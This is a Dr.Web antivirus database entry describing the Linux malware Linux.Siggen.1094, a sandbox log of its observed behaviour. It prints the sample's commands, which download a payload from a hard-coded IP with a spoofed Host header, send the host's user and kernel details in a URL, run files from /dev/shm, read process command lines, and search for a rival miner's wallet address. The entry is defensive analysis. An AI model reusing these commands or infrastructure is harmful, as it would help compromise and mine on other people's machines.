JavaScript support is required for our site to be fully operational in your browser.
Linux.Siggen.1094
Added to the Dr.Web virus database:
2018-10-06
Virus description added:
2018-10-06
Technical Information
Malicious functions:
Performs process tracing:
<SAMPLE>
<SAMPLE_FULL_PATH>
Launches processes:
/bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
<SAMPLE_FULL_PATH>
/bin/bash <SAMPLE_FULL_PATH> -c
tr -cd a-f0-9
cat /dev/urandom
head -c 32
touch /dev/shm/f90bfb3c6471fd6138a7421bdec1d644
chmod +x /dev/shm/f90bfb3c6471fd6138a7421bdec1d644
rm -rf /dev/shm/f90bfb3c6471fd6138a7421bdec1d644
whoami
./t -t 5 wget --dns-timeout 10 --user-agent=wget --connect-timeout 20 --read-timeout 30 -qO- http://ipinfo.io/ip
head -n1
tr _
uname -a
./t -t 10 wget --dns-timeout 10 --user-agent=wget --connect-timeout 20 --read-timeout 30 -qO- --header Host:www.btcsavetheworld.org http://104.24.123.53/root--Linux_box-amd64_3.16.7-ckt20_#2_SMP_Sun_Mar_20_12:22:57_MSK_2016_x86_64_GNU/Linux
./t -t 10 wget --dns-timeout 10 --user-agent=wget --connect-timeout 20 --read-timeout 30 -q -O /dev/shm/0xf --header Host: www.btcsavetheworld.org http://104.24.123.53/0xf
rm -rf /dev/shm/0xf
ps x
grep -v 705
awk {print $1}
grep -va grep
grep -a gmail.com\|lkrbugs\|10010001.xyz\|47EaZKYrX8NBBCE4N1H5zhXn3FR3tFmGYSBQWPPt2Vg8GmCwiGuwKdMbXKHTCCKpAUjU9AJ6Se4PU7G7uDLDoE4h3dtjkck
cat /proc/1/cmdline
tr -d
tr -d \n
grep -va startcmd
cat /proc/2/cmdline
cat /proc/3/cmdline
cat /proc/4/cmdline
cat /proc/5/cmdline
cat /proc/6/cmdline
cat /proc/7/cmdline
cat /proc/8/cmdline
cat /proc/9/cmdline
cat /proc/10/cmdline
cat /proc/11/cmdline
cat /proc/12/cmdline
cat /proc/13/cmdline
cat /proc/14/cmdline
cat /proc/15/cmdline
cat /proc/16/cmdline
cat /proc/17/cmdline
cat /proc/18/cmdline
cat /proc/19/cmdline
cat /proc/20/cmdline
cat /proc/21/cmdline
cat /proc/22/cmdline
cat /proc/23/cmdline
cat /proc/29/cmdline
cat /proc/30/cmdline
cat /proc/31/cmdline
cat /proc/32/cmdline
cat /proc/66/cmdline
Kills the following processes:
<SAMPLE>
<SAMPLE_FULL_PATH>
Performs operations with the file system:
Modifies file access rights:
/dev/shm/f90bfb3c6471fd6138a7421bdec1d644
Creates or modifies files:
/dev/shm/f90bfb3c6471fd6138a7421bdec1d644
Deletes files:
/dev/shm/f90bfb3c6471fd6138a7421bdec1d644
/dev/shm/0xf
Other:
Collects CPU information
Collects RAM information
Curing recommendations
Linux
Free trial
One month (no registration) or three months (registration and renewal discount)
Download Dr.Web for Android
Free three-month trial
All protection features available
Renew your trial license in AppGallery/on Google Pay
By continuing to use this website, you are consenting to Doctor Web’s use of cookies and other technologies related to the collection of visitor statistics. Learn more
OK